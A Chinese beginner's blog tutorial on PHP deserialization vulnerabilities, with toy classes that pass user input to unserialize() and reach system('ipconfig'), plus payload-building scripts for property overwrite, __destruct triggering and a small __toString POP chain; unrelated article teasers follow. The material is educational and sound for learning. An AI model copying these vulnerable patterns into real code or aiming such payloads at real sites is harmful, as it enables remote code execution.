面相小白的php反序列化漏洞原理剖析

前言

欢迎来到我的博客

个人主页:北岭敲键盘的荒漠猫-CSDN博客

本文整理反序列化漏洞的一些成因原理

建议学习反序列化之前

先对php基础语法与面向对象有个大体的了解

(我觉得我整理的比较细致,了解这俩是个啥就行)

漏洞实战情况

这个漏洞黑盒几乎不会被发现,除非极少数个别特别奇葩离谱少见,或者有内鬼作祟,明摆着告诉你这里有个漏洞,你来打我的情况。

大多数是白盒审计得出。

序列化与反序列化概念

需求分析

这里假设我们有一个类对象,我们想要引用可以直接用文件导入。

但是假设我们想要传输这个类对象给其他主机。

我们不可能把整个类的代码都给复制然后发送。

这个时候就需要把他们转化为一种更能方便传输的形式。

这个过程成为序列化。

反序列化则是把序列的产物重新变为类对象

序列化

函数:

serialize()

序列化后的产物模式:

代码演示

<?php
class student{
    public $name="joker";
    private $age=11;
    public function sayhello(){
        echo "hellohello";
    }
}

$a=new student();
$b=serialize($a);
echo $b;
?>

结果如下:

反序列化

函数:

unserialize()

 他就是反过来,能够把序列化的字符串转化为类对象可供使用。

代码演示

<?php
class student{
    public $name="joker";
    private $age=11;
    public function sayhello(){
        echo "hellohello";
    }
}

$a=new student();
$b=serialize($a);
$c=unserialize($b);
$c->sayhello();
?>

结果如下:

反序列化漏洞的成因与复现

原理分析

目标执行类中本不能执行的eval等危险函数。

反序列化可以覆盖原本的变量值,所以可以帮住我们运行本不应该被运行的区域。

自拟案例演示

以下为一串代码。

<?php
class student{
    public $name="joker";
    public $age=11;
    public function runeval(){
        echo $this->age; //输出为19
            if ($this->age >= 18){
                system("ipconfig");  //原本不能执行的区域被执行
            }
    }
}


$b=$_GET["x"];
$c=unserialize($b);
$c->runeval();
?>

代码解析

get传递一个x参数,然后把他反序列化,之后运行runeval方法。

类中,有name,age属性,以及一个方法。

方法输出age的值,并且当age>=18的时候就会执行

system

而朋友,system是个高危函数,这里是固定的ipconfig,如果这个参数可控,那么就是一个大漏洞。

但是age明显固定是11啊,根本不会执行system。这里就轮到反序列化漏洞登场。

漏洞利用过程

我们新建一个php文件

把上面类的php代码全复制过来。

<?php
class student{
    public $name="joker";
    public $age=11;
    public function runeval(){
        echo $this->age; //输出为19
            if ($this->age >= 18){
                system("ipconfig");  //原本不能执行的区域被执行
            }
    }
}
    
    $b=new student;
    $c=serialize($b);
    echo $c;
?>

接下来删减代码,仅保留我们要更改的地方

要尽量的减少对原代码运行的影响,防止功能错乱。

这里我们只需要改一个age属性值,让他能过检查即可,那么把age留下其余的全部删除

<?php
class student{
    public $age=19;
}
    
    $b=new student;
    $c=serialize($b);
    echo $c;
?>

然后下面给他序列化输出一下。

把这串序列化字符串作为x传入原先的地方。

这里对比一下源代码

<?php
class student{
    public $name="joker";
    public $age=11;
    public function runeval(){
        echo $this->age; //输出为19
            if ($this->age >= 18){
                system("ipconfig");  //原本不能执行的区域被执行
            }
    }
}


$b=$_GET["x"];
$c=unserialize($b);
$c->runeval();
?>

runeval函数中输出age的地方输出了19

也就是说我们覆盖了原先的11

并且过了检查执行了system。

现在我们试想一下真实场景。

假如这个age是判断你是不是vlp呢?

这样能不能绕过?

对吧,这个就是反序列化漏洞的一个基础的攻击形式。

反序列化进阶操作

在开发中几乎一定会用一些构造方法,类中实例化其他类对象的操作。

而这些操作让我们有更大的操作空间,让这个实例化跟打内网一样在类中各种横向移动建立隧道。

构造方法玩法

开发中几乎类都会执行一些构造方法。

构造方法的特点就是实例化的时候直接执行!!!!

没错直接执行!!!

具体的魔术方法以及作用参考我的这篇文章(太多了。。。)

(有php面向对象基础的可以直接看下面,没有的话先仔细看这个魔术方法,不然看不懂下面是啥)

php反序列化常见魔术方法整理-CSDN博客

看我们之前的代码 

<?php
class student{
    public $name="joker";
    public $age=11;
    public function runeval(){
        echo $this->age; //输出为19
            if ($this->age >= 18){
                system("ipconfig");  //原本不能执行的区域被执行
            }
    }
}


$b=$_GET["x"];
$c=unserialize($b);
$c->runeval();
?>

看下面类对象的实例化。

我们是直接传入然后手动执行了runeval。

但是如果不执行的话,那不就是一点办法没有了嘛。

所以如果他有构造方法,构造方法就会在反序列化的时候自动执行。

大大提升了我们的可玩性!!

看这个代码

<?php
class student{
    public $name="joker";
    public $age=11;
    public function __destruct(){
        echo "aa";
        echo $this->age; //输出为19
            if ($this->age >= 18){
                system("ipconfig");  //原本不能执行的区域被执行
            }
    }


}

$b=$_GET["x"];
$c=unserialize($b);
?>

仅仅进行了反序列化,并没有执行方法,但是类中有一个构造方法。

这个方法会在类结束的时候自动执行,所以不好意思,上一个payload依旧秒掉。

(注意一下实例化加个(),我上面给忘了。。。)

<?php
class student{
    public $age=19;
}
    
    $b=new student();
    $c=serialize($b);
    echo $c;
?>

pop链类跳跃

看下面代码

<?php
class student1{
    public $name="joker";
    public $age=11;
    public function getip(){
        echo system("ipconfig");
    }
}


class student2{
    public $name;
    public $age;
    public function __toString(){
        echo "runing";
        $this->name->{$this->age}();
}
}

$b=$_GET["x"];
$c=unserialize($b);
echo $c;
?>

这里有两个类,仅仅靠源代码,他们毫无关联。

很明显system在student1中

然而getip方法显然是没有被执行的。

student2有toString的方法,如果类对象被当做字符串处理则会执行。

而下面那个echo明显作为了字符串,所以能够执行toString。

然后里面的

$this->name->{$this->age}();

两个属性值都能够被反序列化恶意更改让他实例化为student1并执行函数。

所以

<?php
class student1{
}

class student2{
    public $name;
    public $age="getip";
}

    $c=new student2();
    $z=new student1();
    $c->name=$z;
    $d=serialize($c);
    echo $d;
?>

结语

看到这应该就会了解php反序列化漏洞的一个工作原理了。

但还是老规矩绕过策略与特殊玩法写在别的博客中。

别问我为毛老说写一个完整体系结果又写别的去了。。。

因为我写的过程中遇到一个点攻不破我就想摆烂了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/911101.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

景联文科技专业数据标注公司:高质量数据标注推动AI产业发展

在当今数据驱动的时代&#xff0c;高质量的数据标注对于机器学习、自然语言处理&#xff08;NLP&#xff09;和计算机视觉等技术领域的发展起着至关重要的作用。 数据标注是指对原始数据进行处理&#xff0c;标记对象的特征&#xff0c;生成满足机器学习训练要求的可读数据编码…

yelp数据集上识别潜在的热门商家

yelp数据集是研究B2C业态的一个很好的数据集&#xff0c;要识别潜在的热门商家是一个多维度的分析过程&#xff0c;涉及用户行为、商家特征和社区结构等多个因素。从yelp数据集里我们可以挖掘到下面信息有助于识别热门商家 用户评分和评论分析 评分均值: 商家的平均评分是反映其…

YOLO11改进 | 融合改进 | C3k2融合ContextGuided 【独家改进, 两种方式】

秋招面试专栏推荐 &#xff1a;深度学习算法工程师面试问题总结【百面算法工程师】——点击即可跳转 &#x1f4a1;&#x1f4a1;&#x1f4a1;本专栏所有程序均经过测试&#xff0c;可成功执行&#x1f4a1;&#x1f4a1;&#x1f4a1; 本文给大家带来的教程是将YOLO11的C3k2替…

【harbor】离线安装2.9.0-arm64架构服务制作和升级部署

harbor官网地址&#xff1a;Harbor 参考文档可以看这里&#xff1a;部署 harbor 2.10.1 arm64 - 简书。 前提环境准备&#xff1a; 安装docker 和 docker-compose 先拉arm64架构的harbor相关镜像 docker pull --platformlinux/arm64 ghcr.io/octohelm/harbor/harbor-regist…

InfluxDB 2 关闭pprof

背景&#xff1a; Go 语言的 net/http/pprgf包如未配置正确暴露在公网容易引起敏感信息泄漏问题&#xff0c;导致源码等信息泄漏。 influxdb 2 默认是开启pprof的 使用 localhost:8086/debug/pprof/goroutine?debug1 可以看到接口暴露的信息 如何关闭pprof 官方文档&…

CJ/T188-2004 详细介绍

REDISANT 提供互联网与物联网开发测试套件 # 互联网与中间件&#xff1a; Redis AssistantZooKeeper AssistantKafka AssistantRocketMQ AssistantRabbitMQ AssistantPulsar AssistantHBase AssistantNoSql AssistantEtcd AssistantGarnet Assistant 工业与物联网&#xff1…

阿里云k8s-master部署CNI网络插件遇到的问题

问题 按照网络上的部署方法 cd /opt/k8s # 下载 calico-kube-controllers配置文件&#xff0c;可能会网络超时 curl https://docs.projectcalico.org/manifests/calico.yaml -O kubectl apply -f calico.yaml 试了很多次都不行&#xff0c;k8s-master都是Not ready的状态 ca…

Netty篇(学习前言)

目录 一、为什么使用Netty 1. Netty编程相比NIO编程的优势 2. Netty 相比其它网络应用框架的优势 二、让我们走进Netty 1. 简介 2. 设计目标 3. 主要特点 4. Netty的作者 5. Netty 的地位 6. Netty 的优势 五、Netty版本说明 六、Netty架构设计 1. 线程模型基本介绍…

C/C++使用AddressSanitizer检测内存错误

AddressSanitizer 是一种内存错误检测工具&#xff0c;编译时添加 -fsanitizeaddress 选项可以在运行时检测出非法内存访问&#xff0c;当发生段错误时&#xff0c;AddressSanitizer 会输出详细的错误报告&#xff0c;包括出错位置的代码行号和调用栈&#xff0c;有助于快速定位…

JavaScript基础语法部分-黑马跟课笔记

一、Javascript介绍 1.JavaScript是什么&#xff1f; 1.是什么&#xff1f; 是一种运行在客户端&#xff08;浏览器&#xff09;的编程语言&#xff0c;实现人机交互效果 2.作用&#xff08;做什么&#xff1f;&#xff09; 网页特效&#xff08;监听用户的一些行为让网页做…

【MongoDB】MongoDB的Java API及Spring集成(Spring Data)

文章目录 Java APISpring 集成1. 添加依赖2. 配置 MongoDB3. 创建实体类4. 创建 Repository 接口5. 创建 Service 类6. 创建 Controller 类7. 启动 Spring Boot 应用8. 测试你的 API 更多相关内容可查看 Java API maven <dependency><groupId>org.mongodb</gr…

非线性关卡设计

【GDC】如何设计完全非线性的单人关卡_DOOM (bilibili.com) 本文章算是此视频的简单笔记&#xff0c;更详细还请看视频 设计完全非线性关卡强调自由移动和沙盒式玩法&#xff0c;鼓励玩家进行不可预测的移动和空间探索。讲解者分享了设计此类关卡的具体步骤&#xff0c;包括明…

(蓝桥杯C/C++)——基础算法(下)

目录 一、时空复杂度 1.时间复杂度 2.空间复杂度 3.分析技巧 4.代码示例 二、递归 1.递归的介绍 2.递归如何实现 3.递归和循环的比较 4.代码示例 三、差分 1.差分的原理和特点 2.差分的实现 3.例题讲解 四、枚举 1.枚举算法介绍 2.解空间的类型 3. 循环枚举解…

神经网络基础--什么是正向传播??什么是方向传播??

前言 本专栏更新神经网络的一些基础知识&#xff1b;这个是本人初学神经网络做的笔记&#xff0c;仅仅堆正向传播、方向传播就行了了一个讲解&#xff0c;更加系统的讲解&#xff0c;本人后面会更新《李沐动手学习深度学习》&#xff0c;会更有详细讲解;案例代码基于pytorch&a…

代码随想录算法训练营第三十七天 | 完全背包 518.零钱兑换 Ⅱ 377.组合总和Ⅳ 70.爬楼梯(进阶版)

完全背包&#xff1a; 文章链接 题目链接&#xff1a;卡码网 52.携带研究材料 与01背包的区别在于物品数量无限&#xff0c;因此同一种物品可以取多次。 递推式如下&#xff1a; 二维&#xff1a;dp[i][j] max(dp[i - 1][j], dp[i][j - weights[i]] value[i])&#xff0c;因…

C语言心型代码解析

方法一 心型极坐标方程 爱心代码你真的理解吗 笛卡尔的心型公式&#xff1a; for (y 1.5; y > -1.5; y - 0.1) for (x -1.5; x < 1.5; x 0.05) 代码里面用了二个for循环&#xff0c;第一个代表y轴&#xff0c;第二个代表x轴 二个增加的单位不同&#xff0c;能使得…

C语言网络编程 -- TCP/iP协议

一、Socket简介 1.1 什么是socket socket通常也称作"套接字"&#xff0c;⽤于描述IP地址和端⼝&#xff0c;是⼀个通信链的句柄&#xff0c;应⽤ 程序通常通过"套接字"向⽹络发出请求或者应答⽹络请求。⽹络通信就是两个进程 间的通信&#xff0c;这两个进…

字符串接龙 /单词接龙 (BFs C#

卡码网 110和 力扣127 和LCq 108题都是一个解法 这两道题乍一看在结果处可能不一样 力扣要求 字符串里边必须包含对应的最后一个字符 而110不需要最后一个字符 但是在实验逻辑上是一致的 只是110需要把如果在set中找不到最后一个字符就直接返回0的逻辑删去 就可以了 这就是…

Transformer和BERT的区别

Transformer和BERT的区别比较表&#xff1a; 两者的位置编码&#xff1a; 为什么要对位置进行编码&#xff1f; Attention提取特征的时候&#xff0c;可以获取全局每个词对之间的关系&#xff0c;但是并没有显式保留时序信息&#xff0c;或者说位置信息。就算打乱序列中token…

python操作MySQL以及SQL综合案例

1.基础使用 学习目标&#xff1a;掌握python执行SQL语句操作MySQL数据库软件 打开cmd下载安装 安装成功 connection就是一个类&#xff0c;conn类对象。 因为位置不知道&#xff0c;所以使用关键字传参。 表明我们可以正常连接到MySQL 演示、执行非查询性质的SQL语句 pytho…